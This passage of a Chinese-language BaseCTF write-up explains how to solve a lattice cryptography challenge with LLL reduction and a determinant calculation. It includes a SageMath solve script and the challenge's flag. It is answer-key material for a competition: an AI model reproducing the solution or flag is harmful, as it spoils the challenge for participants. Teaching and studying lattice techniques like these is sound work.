575595002745228725017587011229401876567667455244528775277629732860064977911268125609189310020405051622085511289521885274600136190154096572813688714712133062373574937656504877555714680953922288909295838812970976406997779107157755042843766890628178252727891534572782306820699889220503146129501975505498358015202877369653016071954056645819683541482989501884449536172692222955049657627314349743452274317472117170325014443435968767431351069364374662221187031602748415650312412433222057689003403908801913]]
W = [[838243669569772365825528069088793455362253801517360278602593303745699429137215594576991203071727187689167097915523807181069815074124001330605476179062587774586413099179825273026676486841213151585743972214797692786366689785491273081413668402037800457578015835799910062278548422607854946333715446327802896293029377534443735084744391631685250614642775247173445704258033114931031666306649949263186126055241139290905429794696028384343749984236719592960909032270495356, 803037915525763017813052134194087092503024850450778985110871642829830991012170830783900056324370267494800927024749373592744933154087905523794957583458320772762393022274754812539413304654338911861881703406551975827547157103926858618050322166669434180444100312398454530810141984367238536123028456943329443614154050974619461000072847460724967548375623320227093428700111757757638270165456251865510363753235078534130529338200958418407734698270157192357964274092960160, 936860550979161859763944379815022616668684890898857549853283234781148589264637570580765176526871677402372007461081732898697312885010695317454774616907341062321919789905918536590631377401204453037238548216648108039082749895680446221612769807718147337667121814420180597640654236164929573894976873797106386019676593508260795149809742272019006821924426056135904099903987553221898726778429309630193632524365812002539064510798904913798165805952369467097166655052324662], [903827515929770485045352583923655902326985198425839313304983595578754651977406515523417091164606505992344067878304810153443237319663912774096105876828088267351880185653549590057499840375845602572585406606843113691398586082599896034026753671311127281701066533882077608584967968707777937945824307588234847645532828872891999612833211248100809726023940327229679170954992117211762654040526677026676750258569210085085849650693677075476712776614907076983085506292744593, 865867277899743984439472212248353523489475207105436612467388414274420933395815480684569358513658899128263451705767460689322324871155098437383762120083505456143481204507833625398191810324011750457183760477995450683492183216742470659735972303328300805612595535471688829946545404613937343154546265892485079288647073301566428063885748080397335579940733133160982445771626323095205883638294011960474082043462070600709609945253876118567904739848764175027352015971149441, 1010160142335093061390073894563508864471566280278502420921989223687002198547569470869775259447268733595903657260678484653049020541253485677709836243404433947659892982318145912957083642845032140875108225542486758247838327077646951588304929682753162881261192381472575935615608383217184248495268384377517552833159650113564246358248703626825695080546545844771964065265076038887828360524279438416928547216942293462621132698205097190096991916709625976826523765493530001], [78212249173117191675170269491819725722517802312978337273804090104803606178852022644248470195807846920777359458397572673319629877881485882414961268159575924654736302449378271858232975357320988498416055914130853390645176331442047110403763360174417255005631946157490069743178573263637578884793651847627029051991, 74927379501472932120680494090445315819870183792818898309591485925627415024697485507641733597293876698532213631345314279208289123258824769689285644220202046304564375857497101372953510739020984815291833079840818219941112397714761814022393125005379756778275950629416624821974542971342867918912677411141124552457, 87413688302893898473393354361135831954484558329329084401662857815823746202157926477994765338832304531581829735643758883274071789530966177809582992054303282158857862400265977801285276497220755870408421869590049299225416536929009300912398960151372766988582409763009295034261252377005456165370870094539411150067]]
hint = [[246113081383159550742301389040370789477, 0, 0], [11152329977565784221225693789680814642651917976425031602984186773217921601713987960438433946931386627886062324958107378857734386881263658081884765704688257, 10683938505657230179810827249056252019273456770047066582472908450838551957854054329645676204226277615006027375173781179496005220534722980666830108442748411, 0], [12909086249033493657373140400755388103713119422025290702729934460438874573189113819222211003617053854285976236233309899368081087581903742593207861442650517, 9187258103530841595225948803092366126509314603068288593845050883756605942036676873402194862960350885965541685057956650837894582552315218590371164516643577, 7601247345297763187625384319296811132204071832415909380474604204622868879647397909637085901563946695955258577131871160032821007989191447784910345738795389]]
'''

解析

先从mid_math2开始, 我们考察了格基规约的基本使用, 同样在这一题中仔细观察就可以发现矩阵VV[0]是有可能被格出来的, 之前没有详细介绍过, 所以本题的格基规约(LLL)考点只需要简单计算出a,b,c.

然后是ez_mahmid_math中对行列式的考察, 我们知道一个矩阵与主对角线为1的上三角矩阵与下三角矩阵乘积的矩阵进行乘积, 行列式不变, 故我们可以通过计算矩阵W的行列式得到矩阵V的行列式, 计算出a,b,c后我们除了f以外知道矩阵V的所有元素, 可利用行列式直接求出f, 得到矩阵V.

从向量大小可以明显看出我们由一组坏格基W求出了好的格基V, 接下来就是很简单的SVP问题了, 通过使用矩阵V进行近似, 再求矩阵U继续计算, 我们可以还原原始向量.

EXP

import numpy as np
from sage.all import *
from Crypto.Util.number import *
from re import sub

m = [515006066572991495094024845507453270170679530115722665716310857090383589987192995300820709326539907598036228187098433712764150545713781753928519780987397892019149396848734270629944247423448792576409939690690172467014798009304748201014701433638914639516136791514943818115581841161140822534657373450411916010383872732592192428514885246957165021151091735415512934159556555795946329029885077848428522565951230170422871166025743271004222458910631903580841388720000991656351499297814283656311006619217557, 493376106730590001882623910015696056521634040769204676097683956342407441946394989269289586462834183861958955979569597323143336033364245602994690452975858606246399021815786952339420761036368842534214572793543597526440971054273983326810410557306121368806745656400301215422355097611632518232563203326662080440857128552584680151063471311246027207795633032412326671372295196912352244705460776745840724990330443310670290805805114851081572848158034185286087423873359219385001802862944316920564177120955175, 575595002745228725017587011229401876567667455244528775277629732860064977911268125609189310020405051622085511289521885274600136190154096572813688714712133062373574937656504877555714680953922288909295838812970976406997779107157755042843766890628178252727891534572782306820699889220503146129501975505498358015202877369653016071954056645819683541482989501884449536172692222955049657627314349743452274317472117170325014443435968767431351069364374662221187031602748415650312412433222057689003403908801913]
W = [[838243669569772365825528069088793455362253801517360278602593303745699429137215594576991203071727187689167097915523807181069815074124001330605476179062587774586413099179825273026676486841213151585743972214797692786366689785491273081413668402037800457578015835799910062278548422607854946333715446327802896293029377534443735084744391631685250614642775247173445704258033114931031666306649949263186126055241139290905429794696028384343749984236719592960909032270495356, 803037915525763017813052134194087092503024850450778985110871642829830991012170830783900056324370267494800927024749373592744933154087905523794957583458320772762393022274754812539413304654338911861881703406551975827547157103926858618050322166669434180444100312398454530810141984367238536123028456943329443614154050974619461000072847460724967548375623320227093428700111757757638270165456251865510363753235078534130529338200958418407734698270157192357964274092960160, 936860550979161859763944379815022616668684890898857549853283234781148589264637570580765176526871677402372007461081732898697312885010695317454774616907341062321919789905918536590631377401204453037238548216648108039082749895680446221612769807718147337667121814420180597640654236164929573894976873797106386019676593508260795149809742272019006821924426056135904099903987553221898726778429309630193632524365812002539064510798904913798165805952369467097166655052324662], [903827515929770485045352583923655902326985198425839313304983595578754651977406515523417091164606505992344067878304810153443237319663912774096105876828088267351880185653549590057499840375845602572585406606843113691398586082599896034026753671311127281701066533882077608584967968707777937945824307588234847645532828872891999612833211248100809726023940327229679170954992117211762654040526677026676750258569210085085849650693677075476712776614907076983085506292744593, 865867277899743984439472212248353523489475207105436612467388414274420933395815480684569358513658899128263451705767460689322324871155098437383762120083505456143481204507833625398191810324011750457183760477995450683492183216742470659735972303328300805612595535471688829946545404613937343154546265892485079288647073301566428063885748080397335579940733133160982445771626323095205883638294011960474082043462070600709609945253876118567904739848764175027352015971149441, 1010160142335093061390073894563508864471566280278502420921989223687002198547569470869775259447268733595903657260678484653049020541253485677709836243404433947659892982318145912957083642845032140875108225542486758247838327077646951588304929682753162881261192381472575935615608383217184248495268384377517552833159650113564246358248703626825695080546545844771964065265076038887828360524279438416928547216942293462621132698205097190096991916709625976826523765493530001], [78212249173117191675170269491819725722517802312978337273804090104803606178852022644248470195807846920777359458397572673319629877881485882414961268159575924654736302449378271858232975357320988498416055914130853390645176331442047110403763360174417255005631946157490069743178573263637578884793651847627029051991, 74927379501472932120680494090445315819870183792818898309591485925627415024697485507641733597293876698532213631345314279208289123258824769689285644220202046304564375857497101372953510739020984815291833079840818219941112397714761814022393125005379756778275950629416624821974542971342867918912677411141124552457, 87413688302893898473393354361135831954484558329329084401662857815823746202157926477994765338832304531581829735643758883274071789530966177809582992054303282158857862400265977801285276497220755870408421869590049299225416536929009300912398960151372766988582409763009295034261252377005456165370870094539411150067]]
hint = [[246113081383159550742301389040370789477, 0, 0], [11152329977565784221225693789680814642651917976425031602984186773217921601713987960438433946931386627886062324958107378857734386881263658081884765704688257, 10683938505657230179810827249056252019273456770047066582472908450838551957854054329645676204226277615006027375173781179496005220534722980666830108442748411, 0], [12909086249033493657373140400755388103713119422025290702729934460438874573189113819222211003617053854285976236233309899368081087581903742593207861442650517, 9187258103530841595225948803092366126509314603068288593845050883756605942036676873402194862960350885965541685057956650837894582552315218590371164516643577, 7601247345297763187625384319296811132204071832415909380474604204622868879647397909637085901563946695955258577131871160032821007989191447784910345738795389]]

#a, b, c = [getPrime(128) for _ in range(3)]
#d, e, f, h, i, j = [getPrime(512) for _ in range(6)]
#k, l, m = [getPrime(16) for _ in range(3)]

flag = b"BaseCTF{A99C2980-9F32-5BDC-26E9-C0551E3997A8}"

def m2l(data):
    data = str(list(data)).replace(')',']').replace('(','[')
    return data

def red(data):
    new = sub(' +', ' ',str(data)).replace('[','').replace(']','').split(' ')
    a,b,c = new[-3:]
    a,b,c = count(a), count(b), count(c)
    return matrix([a,b,c])

def count(data):
    if '/' in data:
        a,b = data.split('/')
        a,b = int(a), int(b)
        if (a%b) >= (b//2):
            new = (a // b) + 1
        else:
            new = a // b
    else:
        new = int(data)
    return new

V = matrix(hint)
V[0] = matrix(W).LLL()[0]
V[1,2] = (abs(matrix(W).det()) - (
        V[0,0]*V[1,1]*V[2,2] +
        V[1,0]*V[2,1]*V[0,2] 
        ) + (
        V[2,0]*V[1,1]*V[0,2] +
        V[0,1]*V[1,0]*V[2,2]
        )) // (
        V[0,1]*V[2,0] - V[0,0]*V[2,1]
        )

W = matrix(W)
U = W * (V**(-1))
a = b''
new_flag = (red(matrix(m) * (V**(-1))) * (U**(-1)))[0]
a += long_to_bytes(int(new_flag[0]))
a += long_to_bytes(int(new_flag[1]))
a += long_to_bytes(int(new_flag[2]))
print(a)

# b'BaseCTF{A99C2980-9F32-5BDC-26E9-C0551E3997A8}'

Week3(MISC)

osc

本题为挑战题, 不提供详细WP, 大致原理可以参考以下:

osc-misc

题目一致.